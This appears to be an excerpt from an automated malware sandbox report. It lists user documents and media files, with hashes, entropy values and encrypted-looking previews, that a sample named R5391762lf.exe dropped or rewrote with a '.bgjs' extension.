SSDEEP:	24:a8zOWGhqPbx7S+HkfsZk549auxhZ/hFA3lU54HTDvJBqA76EQrKKlU/NdgCkrDXp:a8zemdO7fsZQwauxhdLqlU54n7qA7XHY
MD5:	0D6AC5968052ADC9614EE082E898A077
SHA1:	E0C85B9A90EF6F69049A0D1330767E89197045FC
SHA-256:	27B0B9675F0985C571ED92F56452F73BB882FF5732CFA27516159AD5634111CF
SHA-512:	C0C29AF7121647E22F8B7EF207AFD52CE68E7DA3FEF391F520C4FB22B92A3468628FB48949AC1A768BF813DD40D7293BFB7B600A60E84C7B8EC6207BE82BC646
Malicious:	false
Preview:	NEBFQ.)...a.b.....5O....d.OFzo6.U.......0N3x.g.b@...58Q.\...L.QbG...X-.4t(..>M..c)>d.`.j....X{.xi..........c.S; cU.%KKD6.T.E"~F...6.......a......].\KZb...1`.\...g....s...f..Ig.)\|.... ..s<.L.......~n.'.U.%J..hq...z...b5$....a....e.c.\..9.4.+.q..d..r..a#.J.N.v_.5..i.=@..~....K......[b.Q..;6..\|..>._..U..m:...S...f...6Y..G .9a]n.=..g.....\|..h..E.B..._.dm.O.z.T.....`(..<<.=%d\Ko..S.r<...j" ..y.......J8KS....c/.2 W..q..`..P.<SR..N.......#.....`...`......I.W./.#e../&.....p<#'^....Vn$W(...=."U!..[.k..M_....u...A....i...U1..H...n..Tq..>Ns.]...VsM.t7...p..;..~.i./..<...h,.d...GA...x../.....g.......QA.nZ..7..0..}.......\c..*.i(..:..F._.{..4p..0o...eb.`.4. rP..<9.[..g..&..@.79..G.s.A3........9T.N.$..=..!.,...7G...,0q.+A.N..y%Ov.;P....1.`1...o..z...OL..\|.y....^3.5!l.......Y..Y:...M.?....../=o.W....}x.]RA...G..c.{&..>..`q.R6...f.Y.#../.P.c..1.....8...[.DT.O...+..[Sn>...c.2..\|..byx.BE...t....an.{_.#gNK.........5..">.J.. $.s.0~..... .T....,.d\|....

C:\Users\user\Documents\PIVFAGEAAV.jpg

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8648979599983795
Encrypted:	false
SSDEEP:	24:hAhOWDoT4voGTdcKv9ClCZD6FfCP6JWI5QXS1sUbtMsdjfiwSCGwzXq8uWbD:hoDPvoGZci2CD6FfCaWRi1sUxxxGEXFX
MD5:	DC16F5060C82A989BC8E1999D7AF71EC
SHA1:	D235D72F3E9EE7C857E596E454566D83A1B18BBE
SHA-256:	88323BCF0D95E28A601397D232509841636049BD2C82226B94E066316884E759
SHA-512:	EE70DF9C2EB14D377CF8215AEC3D173A33727314134BCC91A1997F5F46118BFCA1C5112C32C1E6CD0E861489FC2E6D7F616DDE46112E08AC597AF91DF7BE54CF
Malicious:	false
Preview:	PIVFAB...u...I....Q.Z.M.9q.6.b".%.>.$...2.Z-..J.E.k.G.6x}.\.._..@.B-.f.Z...}.F.P....pJ...Wa...[.o!...vS........+.'.+..G..^\......5.z....@L.H.IJ>...........X.^ZHF.m`.k.d.m.\|.=.0}..R:.6....l. ..^......L4...7w~...lNP?(..eU='.5.ZU.."......x....h....X.....:~...._%..mK......c....=.*..3.}V.;...... .....)..]....9...d.+.k......^..i.v.U....zF.P..Fo.8....?......f......N.,...+.<..Y..E...S..s...@.D2:c.I&.0.....V0..o....8wv....Jy.]...N..m.Cc....w.......N....e....'......ws....."....L......,m.{.n..Q.6@.X.-.8.p..KK....a..../B>l.~..g.......<q.W...C..u..r.x.Q..e?$.c........c....`......~.D..-:.....x.A?...Y....\<`vR#........1.A..^b....-...tx.....7.o...\c.nW.7..O.?..g......X....n.9a.1...:.....s..R...n..5?Y....l.V.G._]....y..5w.#vb&F.K...d4a8o{....(q.g....Q.....{.\|I.....('.+.m.[1..)~/+..2.1..^....s..#.....3.y...7^2..-'.g.O<().....$C.I.g.^....QJ.`.8..4..>8..)..Qf.a..i4O...393jY.m......0......y_!..)2...u{.[.y.T...vL.j..n.e.u..._....&.!.".M...?.S_s]..t..#Gt.M=..Um.,...3ni.s

C:\Users\user\Documents\PIVFAGEAAV.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8648979599983795
Encrypted:	false
SSDEEP:	24:hAhOWDoT4voGTdcKv9ClCZD6FfCP6JWI5QXS1sUbtMsdjfiwSCGwzXq8uWbD:hoDPvoGZci2CD6FfCaWRi1sUxxxGEXFX
MD5:	DC16F5060C82A989BC8E1999D7AF71EC
SHA1:	D235D72F3E9EE7C857E596E454566D83A1B18BBE
SHA-256:	88323BCF0D95E28A601397D232509841636049BD2C82226B94E066316884E759
SHA-512:	EE70DF9C2EB14D377CF8215AEC3D173A33727314134BCC91A1997F5F46118BFCA1C5112C32C1E6CD0E861489FC2E6D7F616DDE46112E08AC597AF91DF7BE54CF
Malicious:	false
Preview:	PIVFAB...u...I....Q.Z.M.9q.6.b".%.>.$...2.Z-..J.E.k.G.6x}.\.._..@.B-.f.Z...}.F.P....pJ...Wa...[.o!...vS........+.'.+..G..^\......5.z....@L.H.IJ>...........X.^ZHF.m`.k.d.m.\|.=.0}..R:.6....l. ..^......L4...7w~...lNP?(..eU='.5.ZU.."......x....h....X.....:~...._%..mK......c....=.*..3.}V.;...... .....)..]....9...d.+.k......^..i.v.U....zF.P..Fo.8....?......f......N.,...+.<..Y..E...S..s...@.D2:c.I&.0.....V0..o....8wv....Jy.]...N..m.Cc....w.......N....e....'......ws....."....L......,m.{.n..Q.6@.X.-.8.p..KK....a..../B>l.~..g.......<q.W...C..u..r.x.Q..e?$.c........c....`......~.D..-:.....x.A?...Y....\<`vR#........1.A..^b....-...tx.....7.o...\c.nW.7..O.?..g......X....n.9a.1...:.....s..R...n..5?Y....l.V.G._]....y..5w.#vb&F.K...d4a8o{....(q.g....Q.....{.\|I.....('.+.m.[1..)~/+..2.1..^....s..#.....3.y...7^2..-'.g.O<().....$C.I.g.^....QJ.`.8..4..>8..)..Qf.a..i4O...393jY.m......0......y_!..)2...u{.[.y.T...vL.j..n.e.u..._....&.!.".M...?.S_s]..t..#Gt.M=..Um.,...3ni.s

C:\Users\user\Documents\PIVFAGEAAV.mp3

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8639654922104585
Encrypted:	false
SSDEEP:	24:XNjWjuZocxwWxQKCxalUgNvYxPPkATuK5QAe/KyAVeZiO2x6pmfOXq8uWbD:XNjdxjxa2NvORTuKQAeXAYpZuOXFuED
MD5:	37FFA5AC33C0DDF938D69D9EEE89EA5E
SHA1:	0A807196CD46E07FF72FEBF89ECBFD2E4701609A
SHA-256:	98AEE62BA67168E8195D4E4439B382927DB03FBEFD92E3ECD26F0B3B4783F89F
SHA-512:	D9AC72B774FDAFDB746EA2CED5FB79BF2C834DD03500B7B3CE374209C0D7AB03FDD3FCB92E4CB17A396C2F9DD963FCEF13E77233BEDF97E2B2B01CD5B2028544
Malicious:	false
Preview:	PIVFAd..-..M;.W..........\A.f.<.y.....\X...w....E..B....38%.].../.H9..f....T...[...Z.t.o.>....H.q.e/.{....j.rt...G.........ml.....O.[kQ.Z..%g..q....x;.Z....`....)..Py.`+.)B.\..k..B.M?.AC.YI.T.W....o1......K...Jm&.u.4.......l.NU4.j%...%...[.f..._k4V....=...Y...;.Y..0.i.r@...,w....E...OSl....t...s.YB..@.xq........0.A8....7IM{\.:.......e..Y.V....I{v.....D..0O.~..F..x....G..5..j...g.yLk.']Ch......t.cY`..'.I.[:z)....k.....e"5..#..I.y..F............E..A.z7.A.........`...........VWS......%3.!.;.{....#...........m?.A6...i. P2. ....\|}M.L.hX..Q.....).D#..f.o..h..(HY.c./.z.....I..q..m.\|.....K%...o..A:.Y"'...[.W.v..4,.Z..w.....` ..6...s..mL......,rC..nA-......f......t.S.l...c...q.-E.{...w.y2.....4(U`...."...r..yi#......n.3p...Z..T..{..#.....9....$......L.t.2xpz...@.hH.W....60x.].....Z.j.r.EF......W.;.........q4iM)...0..]=.....y...!.M./[.0)`#.U..\..T...5..:Z.\|......D.........{a.w*I..p.#..#..$....s....R,.........pzz..b.(.B.X>..,E...bHw!..s$jA..-..

C:\Users\user\Documents\PIVFAGEAAV.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8639654922104585
Encrypted:	false
SSDEEP:	24:XNjWjuZocxwWxQKCxalUgNvYxPPkATuK5QAe/KyAVeZiO2x6pmfOXq8uWbD:XNjdxjxa2NvORTuKQAeXAYpZuOXFuED
MD5:	37FFA5AC33C0DDF938D69D9EEE89EA5E
SHA1:	0A807196CD46E07FF72FEBF89ECBFD2E4701609A
SHA-256:	98AEE62BA67168E8195D4E4439B382927DB03FBEFD92E3ECD26F0B3B4783F89F
SHA-512:	D9AC72B774FDAFDB746EA2CED5FB79BF2C834DD03500B7B3CE374209C0D7AB03FDD3FCB92E4CB17A396C2F9DD963FCEF13E77233BEDF97E2B2B01CD5B2028544
Malicious:	false
Preview:	PIVFAd..-..M;.W..........\A.f.<.y.....\X...w....E..B....38%.].../.H9..f....T...[...Z.t.o.>....H.q.e/.{....j.rt...G.........ml.....O.[kQ.Z..%g..q....x;.Z....`....)..Py.`+.)B.\..k..B.M?.AC.YI.T.W....o1......K...Jm&.u.4.......l.NU4.j%...%...[.f..._k4V....=...Y...;.Y..0.i.r@...,w....E...OSl....t...s.YB..@.xq........0.A8....7IM{\.:.......e..Y.V....I{v.....D..0O.~..F..x....G..5..j...g.yLk.']Ch......t.cY`..'.I.[:z)....k.....e"5..#..I.y..F............E..A.z7.A.........`...........VWS......%3.!.;.{....#...........m?.A6...i. P2. ....\|}M.L.hX..Q.....).D#..f.o..h..(HY.c./.z.....I..q..m.\|.....K%...o..A:.Y"'...[.W.v..4,.Z..w.....` ..6...s..mL......,rC..nA-......f......t.S.l...c...q.-E.{...w.y2.....4(U`...."...r..yi#......n.3p...Z..T..{..#.....9....$......L.t.2xpz...@.hH.W....60x.].....Z.j.r.EF......W.;.........q4iM)...0..]=.....y...!.M./[.0)`#.U..\..T...5..:Z.\|......D.........{a.w*I..p.#..#..$....s....R,.........pzz..b.(.B.X>..,E...bHw!..s$jA..-..

C:\Users\user\Documents\PWCCAWLGRE.png

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8570193921471
Encrypted:	false
SSDEEP:	24:magB4l1RmjsXV7ycTxFFwVppzpR2b4WheM3YoqNx/EqHI3RKepZeXq8uWbD:hkwV7dTxwObXhToEqHQbpkXFuED
MD5:	EC89033FB61D10FC3C22A1F5021CE083
SHA1:	AAAF77AC6C9E5C73619BE640D752C69585102BA3
SHA-256:	E9C0DB50A103AAE7DD2A0D35C6863E259CC92C578B36EEFA58231FEAACDBB7C3
SHA-512:	BA027600C4800E2CFEFEB150A415526C5ADB973A9B69013212F6CF13E34CAFB0BC37E432D8012DE3E78A21B03B6E800403D991FF53663BBEA18CE1C0333B14C2
Malicious:	false
Preview:	PWCCA.3.............J`...=.(..raO...M\|o.b...f.B...eE..".qO.'"...%.p.V&....m..m.K./.w..].t.~.f.;.e.^........Y.2..&j).E..vz<[.5..Zi..k./..b..'.......rJ.Qf:...a.Z.,.Z.I...$.c.JD...L.[....wl).."...y..."..? .vuy/N]k.n....7...(=.A.s.9...r3vc.E..){?....N.a&..7.8...y..s:6.J.....s.Fc6.4........\.1.....B.hY......xVqZa...`.@..[.RdW%t.x..P...9..w....DCy.!.....w1[ra#...y......:..p..../x..+G[$...."i.u.........97..N!.VPz<..~.c.;...XL.. {.....Hz..V6.........O.../.6)..G.t....r.=@}...P...<bg.C...g.....q..SG.J..L.LECNUU"U...Vf..40..G.5,MQ(h.}....;<l.z..N.=..w.o....\C.I....owVX.....t..#..w..^$W...I....P....%...%..'........5..r4...2,.b.a....}I.}.....;g.i..~......4..(.BMG6....HQ......&......v..ug......Hy.<>N1.n..;.i&....-w..k.6..!).Q..a...t.&-.l.A.Ck..Z..U=Q..\|.,.T.....e.}....R.L.......>...&..o.....I+M..I.@..K..7.'>..].0.RRa.y.i..i+k&.fIg.^.HK..y....P&...."t.\|M.=..$x.U6....%........}#x...{...Z.....9.a..oY.....4..8.D.i..U..`.@....6..2Jy.U..G.2

C:\Users\user\Documents\PWCCAWLGRE.png.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8570193921471
Encrypted:	false
SSDEEP:	24:magB4l1RmjsXV7ycTxFFwVppzpR2b4WheM3YoqNx/EqHI3RKepZeXq8uWbD:hkwV7dTxwObXhToEqHQbpkXFuED
MD5:	EC89033FB61D10FC3C22A1F5021CE083
SHA1:	AAAF77AC6C9E5C73619BE640D752C69585102BA3
SHA-256:	E9C0DB50A103AAE7DD2A0D35C6863E259CC92C578B36EEFA58231FEAACDBB7C3
SHA-512:	BA027600C4800E2CFEFEB150A415526C5ADB973A9B69013212F6CF13E34CAFB0BC37E432D8012DE3E78A21B03B6E800403D991FF53663BBEA18CE1C0333B14C2
Malicious:	false
Preview:	PWCCA.3.............J`...=.(..raO...M\|o.b...f.B...eE..".qO.'"...%.p.V&....m..m.K./.w..].t.~.f.;.e.^........Y.2..&j).E..vz<[.5..Zi..k./..b..'.......rJ.Qf:...a.Z.,.Z.I...$.c.JD...L.[....wl).."...y..."..? .vuy/N]k.n....7...(=.A.s.9...r3vc.E..){?....N.a&..7.8...y..s:6.J.....s.Fc6.4........\.1.....B.hY......xVqZa...`.@..[.RdW%t.x..P...9..w....DCy.!.....w1[ra#...y......:..p..../x..+G[$...."i.u.........97..N!.VPz<..~.c.;...XL.. {.....Hz..V6.........O.../.6)..G.t....r.=@}...P...<bg.C...g.....q..SG.J..L.LECNUU"U...Vf..40..G.5,MQ(h.}....;<l.z..N.=..w.o....\C.I....owVX.....t..#..w..^$W...I....P....%...%..'........5..r4...2,.b.a....}I.}.....;g.i..~......4..(.BMG6....HQ......&......v..ug......Hy.<>N1.n..;.i&....-w..k.6..!).Q..a...t.&-.l.A.Ck..Z..U=Q..\|.,.T.....e.}....R.L.......>...&..o.....I+M..I.@..K..7.'>..].0.RRa.y.i..i+k&.fIg.^.HK..y....P&...."t.\|M.=..$x.U6....%........}#x...{...Z.....9.a..oY.....4..8.D.i..U..`.@....6..2Jy.U..G.2

C:\Users\user\Documents\QCFWYSKMHA.pdf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866804689069746
Encrypted:	false
SSDEEP:	24:bbmwCjvfKp6+OxQCCwnVzlgyESA4ysJ8Xf80hJ9RkiXtIbeeXQhetlaG7HaOb/JK:bbmhjvfKQtQCBnVzlg3DmG0S9RkisXQ3
MD5:	2D32733293C6A5D0F35D4141E62D9DBE
SHA1:	EFA0D1300C52206B9D41931FCC0530BACB61C3F5
SHA-256:	72AAD06A234B763E6A3877C24F3D47B5A10C93C54E6203A4F3C95ED80DD30CCB
SHA-512:	F926B1384403B533613952CE345FDA9149D3F30BD81C770D6388A5EE2007D124B2E57866A663E15E44EA940BECF9822E7121B0A69E27110BDC7A650F6DDB4B0F
Malicious:	false
Preview:	QCFWYM_....#..RL...mC..e...Z7#.{.2..}.;..xA3..1R.'E...W.....U.e.-!o.Q.b!37.E.../...Ku.].-.....D.u...S...+IKVd..../../.Y.....C..8.c.M$......3T..&..@G..V.......O.dG.-".)..1...aj...L..tv...............;..D..JB.\|T...(...a.~W..Lh.F)..w..U>....E.{.p}...W..3.b9.U.......$4.U...].4..:.B;...x.e...Uh..k.7...C..z%....,...6.7eH\;.....).v......V..#..7.5.....R..........#....$&.+.m.e..Z?r....k..#.V...+J......}y....^V.+5...._....F?.\5.K....8...W.....w.@.....n.A...=.?Q..).....I...kG....y^.7F.PA.M/..........=o......<.0.i.b....)..jf.a...sD.-zf"....!6o.f...NzL.jV.y....$5...].."/\|...m."(F...:.....?m.....{Z.;A..S...?fG7$kd.Ac.)..#...Lj@..Qs/<..W.u...0..7...l..?.....#.....Z@.D.D...m...kZ..KU>-.'....w......0.0....L....5..S.z.u48s.7.....[..T...5...`....R........4X.w.F....g....=..p..1o...7k.-.Nj..3B....Y*.Z.......R.0...\|..qm.}..M.86k..)B<6].l..Dv...1:.K..f~..~.R...R1..U.....Z...M.fI.vL.Jg\=].%...f..o......Q...m./w.............#..3Q..e........+W$x..;[..5.+.,.

C:\Users\user\Documents\QCFWYSKMHA.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866804689069746
Encrypted:	false
SSDEEP:	24:bbmwCjvfKp6+OxQCCwnVzlgyESA4ysJ8Xf80hJ9RkiXtIbeeXQhetlaG7HaOb/JK:bbmhjvfKQtQCBnVzlg3DmG0S9RkisXQ3
MD5:	2D32733293C6A5D0F35D4141E62D9DBE
SHA1:	EFA0D1300C52206B9D41931FCC0530BACB61C3F5
SHA-256:	72AAD06A234B763E6A3877C24F3D47B5A10C93C54E6203A4F3C95ED80DD30CCB
SHA-512:	F926B1384403B533613952CE345FDA9149D3F30BD81C770D6388A5EE2007D124B2E57866A663E15E44EA940BECF9822E7121B0A69E27110BDC7A650F6DDB4B0F
Malicious:	false
Preview:	QCFWYM_....#..RL...mC..e...Z7#.{.2..}.;..xA3..1R.'E...W.....U.e.-!o.Q.b!37.E.../...Ku.].-.....D.u...S...+IKVd..../../.Y.....C..8.c.M$......3T..&..@G..V.......O.dG.-".)..1...aj...L..tv...............;..D..JB.\|T...(...a.~W..Lh.F)..w..U>....E.{.p}...W..3.b9.U.......$4.U...].4..:.B;...x.e...Uh..k.7...C..z%....,...6.7eH\;.....).v......V..#..7.5.....R..........#....$&.+.m.e..Z?r....k..#.V...+J......}y....^V.+5...._....F?.\5.K....8...W.....w.@.....n.A...=.?Q..).....I...kG....y^.7F.PA.M/..........=o......<.0.i.b....)..jf.a...sD.-zf"....!6o.f...NzL.jV.y....$5...].."/\|...m."(F...:.....?m.....{Z.;A..S...?fG7$kd.Ac.)..#...Lj@..Qs/<..W.u...0..7...l..?.....#.....Z@.D.D...m...kZ..KU>-.'....w......0.0....L....5..S.z.u48s.7.....[..T...5...`....R........4X.w.F....g....=..p..1o...7k.-.Nj..3B....Y*.Z.......R.0...\|..qm.}..M.86k..)B<6].l..Dv...1:.K..f~..~.R...R1..U.....Z...M.fI.vL.Jg\=].%...f..o......Q...m./w.............#..3Q..e........+W$x..;[..5.+.,.

C:\Users\user\Documents\QNCYCDFIJJ.jpg

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8328684725422715
Encrypted:	false
SSDEEP:	24:XLLO7Gi9Bo/KQWXsUJMbzmQ/FCKSOpLls9wprBYx8e+R95WkS7rxFyztpVXq8uWX:/iDuKQCMb/4JOQ9krBVREehPXFuED
MD5:	725D05FAC3FFCEAA20C708211A29303F
SHA1:	7C7AB34DE2AADFD394FDB026F2C3FA46C809BDAB
SHA-256:	C75FD1DFB7E1F61CDD0A4B49D622922A30CDA055858E181AAF37B6054894358D
SHA-512:	79011D2902756C13D675107FC9F0D618B378D9EED034A2AEB3741E55F008164FD0629E55ABC136BD1F75FEF79C04F76C34816E4A7E6173C2D51F09582B9F799B
Malicious:	false
Preview:	QNCYC...+....Vt.2.L....\.A!..1...V0.;/..Q.Oi...S.2..... &........n..[..."Ru....Bz..S.%%....4.Q.&?........[...o..;~w.f....p.(.UBg...9L.......j.(.ew.......$.g....1.9S.n..i..~XEti.1.-,.U...wD..h...\e......\W..LW'.b.+.[.KIp..2......Zm.p9.p.Y..o."X:.I#V.].'.-...N=...Q..'.....4..yM..-.0...;.g...p.H.....\..\|V...1..B.^.S....lq....3Q(.5\|/....5.m... 6s9)E..6....7..v.IGV.%?.2...Z..."...N...MV([.Dy.b.A\c..Kr...0~.m..6....?..........aC.l"J..;...W/..2....=...i%.}._..g.H..!.>.F.B..S.?.Jb:k...u...K9...4..vg....mzr..r..R.....c.w?..x....X.}0[...{..._...Jk.X...\|./.:fy6b.w..o....;i.4..u.7.1.^n..[.H..!vV.+.~UP.y..s..Rp..\..O.,ju,....H:.C..0..E.a.6fRLBX)J......C....Q.Z.O...w..K.-R..q..q.S.7....a.2..6vk..wr-g...L..RH.!....{....<...tC.....pJ...Y...+.p....1..C..C..vh{.'t..7%.... .'N99+b.XQ;.....~sM...#4....2=-....GB=.s..e....[.n..R\......#.C.%..q.q.._ ...V..Q(e.."....\).nn...Tq.s......T..s..l.....\p1.\|..r]...LaR..w....6t.9..., ..-..L.$\|R...0,................E

C:\Users\user\Documents\QNCYCDFIJJ.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\d8960608-daff-4d43-9e12-805e9e1a283d\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8328684725422715
Encrypted:	false
SSDEEP:	24:XLLO7Gi9Bo/KQWXsUJMbzmQ/FCKSOpLls9wprBYx8e+R95WkS7rxFyztpVXq8uWX:/iDuKQCMb/4JOQ9krBVREehPXFuED
MD5:	725D05FAC3FFCEAA20C708211A29303F
SHA1:	7C7AB34DE2AADFD394FDB026F2C3FA46C809BDAB
SHA-256:	C75FD1DFB7E1F61CDD0A4B49D622922A30CDA055858E181AAF37B6054894358D
SHA-512:	79011D2902756C13D675107FC9F0D618B378D9EED034A2AEB3741E55F008164FD0629E55ABC136BD1F75FEF79C04F76C34816E4A7E6173C2D51F09582B9F799B
Malicious:	false
Preview:	QNCYC...+....Vt.2.L....\.A!..1...V0.;/..Q.Oi...S.2..... &........n..[..."Ru....Bz..S.%%....4.Q.&?........[...o..;~w.f....p.(.UBg...9L.......j.(.ew.......$.g....1.9S.n..i..~XEti.1.-,.U...wD..h...\e......\W..LW'.b.+.[.KIp..2......Zm.p9.p.Y..o."X:.I#V.].'.-...N=...Q..'.....4..yM..-.0...;.g...p.H.....\..\|V...1..B.^.S....lq....3Q(.5\|/....5.m... 6s9)E..6....7..v.IGV.%?.2...Z..."...N...MV([.Dy.b.A\c..Kr...0~.m..6....?..........aC.l"J..;...W/..2....=...i%.}._..g.H..!.>.F.B..S.?.Jb:k...u...K9...4..vg....mzr..r..R.....c.w?..x....X.}0[...{..._...Jk.X...\|./.:fy6b.w..o....;i.4..u.7.1.^n..[.H..!vV.+.~UP.y..s..Rp..\..O.,ju,....H:.C..0..E.a.6fRLBX)J......C....Q.Z.O...w..K.-R..q..q.S.7....a.2..6vk..wr-g...L..RH.!....{....<...tC.....pJ...Y...+.p....1..C..C..vh{.'t..7%.... .'N99+b.XQ;.....~sM...#4....2=-....GB=.s..e....[.n..R\......#.C.%..q.q.._ ...V..Q(e.."....\).nn...Tq.s......T..s..l.....\p1.\|..r]...LaR..w....6t.9..., ..-..L.$\|R...0,................E

C:\Users\user\Documents\SFPUSAFIOL.docx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.818950074182657
Encrypted:	false
SSDEEP:	24:XRgeAyLla9ZxC3lwTjBj+X2C1zjnhQd2cTeMmnC7Tg0r/or1Xq8uWbD:XRpAl9W1V9zN+2+/7Tg0r/or1XFuED
MD5:	8597D475CAD468FF24F96AF53058C411
SHA1:	C91C8D3773B63B50DA725CC2D52BD2556A9DE753
SHA-256:	557706235D8D63B6E1E93A09ECBD703E052DC768BFECC00086FB66B24EDD35D4
SHA-512:	136B6CC89598262980DF6CFDE2ABE2555D4663F898F478B5F0A09B54E477826C9F162289438E66B1D43EEAB5EA1F6515BA12C261A5911CAE22FF16265EAF4E49
Malicious:	false
Preview:	SFPUS..B.../^z......I...~.$....k...AqR..J...,..........s....j...gD..v.......Yc{..7g.....~...$x........1LEBLM._.E..mR.xU.....@.T%.~.c..2E.V..#..B...t. ..G......E.7P]..9\|?;1.X{x..7,.....B..y..r..2{\|]_p.lcZ]..)h[%.\|L#u.]Y...t..%....KLJjNK....3.UQe...A._...LI..6.....8.....jP.7j.i.........A....J.......9........1..pX.=...D......K. ?r[..0......'@.FN.....A.O["..f...[Pf....R...#.....v.5......C.....j-...T...$=.u...Z......J.XA....X.?o.p2....;.......g...sEV..}..^bw...^Mr.V..P^.....UR......F.....N...~; .D......p...~...K.K_[f.j..-JU.y.~1..a\|.`...G..5u...S@.....UP.H0..iJ...C[..v$..[v.v`N..r....!...\|...........D..G.y.R..8.y%...b.....A'j...oFyw...)D.$....NZn]V....r.c.vx.!9..s....z.I..'H.b.n..b.!..\.5I.6.(......4......J...(.N.._.TB.K.7;.4...?........?y.OK1uf...5.u.3......l..:q..]i ....Ww~...JAb9!..?.}.J..v2f..............{....R.m..."bZ.i .. ..\....y....v..JWeC..l.6.E!.H.XjQ3T=.Cg...^t.....p6S.\....LA...;.k.P.}0..........Y..+y..MB."Tch.........X?c

C:\Users\user\Documents\SFPUSAFIOL.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.818950074182657
Encrypted:	false
SSDEEP:	24:XRgeAyLla9ZxC3lwTjBj+X2C1zjnhQd2cTeMmnC7Tg0r/or1Xq8uWbD:XRpAl9W1V9zN+2+/7Tg0r/or1XFuED
MD5:	8597D475CAD468FF24F96AF53058C411
SHA1:	C91C8D3773B63B50DA725CC2D52BD2556A9DE753
SHA-256:	557706235D8D63B6E1E93A09ECBD703E052DC768BFECC00086FB66B24EDD35D4
SHA-512:	136B6CC89598262980DF6CFDE2ABE2555D4663F898F478B5F0A09B54E477826C9F162289438E66B1D43EEAB5EA1F6515BA12C261A5911CAE22FF16265EAF4E49
Malicious:	false
Preview:	SFPUS..B.../^z......I...~.$....k...AqR..J...,..........s....j...gD..v.......Yc{..7g.....~...$x........1LEBLM._.E..mR.xU.....@.T%.~.c..2E.V..#..B...t. ..G......E.7P]..9\|?;1.X{x..7,.....B..y..r..2{\|]_p.lcZ]..)h[%.\|L#u.]Y...t..%....KLJjNK....3.UQe...A._...LI..6.....8.....jP.7j.i.........A....J.......9........1..pX.=...D......K. ?r[..0......'@.FN.....A.O["..f...[Pf....R...#.....v.5......C.....j-...T...$=.u...Z......J.XA....X.?o.p2....;.......g...sEV..}..^bw...^Mr.V..P^.....UR......F.....N...~; .D......p...~...K.K_[f.j..-JU.y.~1..a\|.`...G..5u...S@.....UP.H0..iJ...C[..v$..[v.v`N..r....!...\|...........D..G.y.R..8.y%...b.....A'j...oFyw...)D.$....NZn]V....r.c.vx.!9..s....z.I..'H.b.n..b.!..\.5I.6.(......4......J...(.N.._.TB.K.7;.4...?........?y.OK1uf...5.u.3......l..:q..]i ....Ww~...JAb9!..?.}.J..v2f..............{....R.m..."bZ.i .. ..\....y....v..JWeC..l.6.E!.H.XjQ3T=.Cg...^t.....p6S.\....LA...;.k.P.}0..........Y..+y..MB."Tch.........X?c

C:\Users\user\Documents\SFPUSAFIOL.xlsx

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857187398001977
Encrypted:	false
SSDEEP:	24:A63dy0esn+5f02q4B0VY9cWTucN7hHJoSz6lTmie1v//n15QncpxxlbAQXq8uWbD:dves+B9q20qpTbhHJP6oN1/Qn4xNXFuQ
MD5:	0F7C9466CCC44AB2D6C6F63DB3472DE5
SHA1:	8B50F8E4BFCFC1CDA33099C85AE4B30A553D8387
SHA-256:	35D998544DF65BE91CE81F0374EED8DA735322C83F963EFBF15882C5DB65BD26
SHA-512:	6F151B70251A41A3E8C99013EDB28BFA1058276882E5693BDC89DED8BFE45CE50AF31C02C98526EF333078AA819416659F04789FDFBBED30699CF291ABA42E64
Malicious:	false
Preview:	SFPUSu...I.OQ<.%Nt....xM....ip.M..v...IV....L...^%..Q}.t.2.".....`5L\M...Y..e.8E........8r...v.Ho.....:.<.\.Y\|Y.'......7@+...<....!.9.P...&C.'..fz3.:..Z,..k..WPA.,.......My ....._.6..e..c.;.ejg.....8..y.v......,S.j)...p...Q~...u....'1...`....[.n.g.....9.....]......>..O....j]<a.)..w..S.l..B.V....p.8G.!{n...&.L.}..vX&.>..\|....a:..]..[.'...i^_...1d..Ti...s.S...Fbo..q...%$.17...!t./.q..m..^....{......z\.......^..x.......d...p..l.... \|.<.f...U..8......7.rx..o..P....Q.&.%.\..k...C..$....7Kc.;.&.z..Q..I.....9.p.4bLCR;@..=.....0......-.J2.v..D.x.-..,.......`..9.^.(.....N.......S.n.....:.../Yw....o.$L..F..zj~.Wh..x#..3.y/..u{...J...J.j.(...1R.F.N...M:ZM.e..8....m1:...%....~c..q."....o..2.5...a".Q&b.rZ...I.2[.^..D.....9mX,l.."...$../..zB...hp..2..U.0.t....Mn:....DL.......%........Y...B.\|y(c^.\|.z&.[U./...K.. ......V..3....s.h..Y2th..Q."d......h.T^w.=...X .2..+....=..P[...&..h....Ss.n.B.Ev.....o...uJ.2.*....'..}.....M\|u....."...

C:\Users\user\Documents\SFPUSAFIOL.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
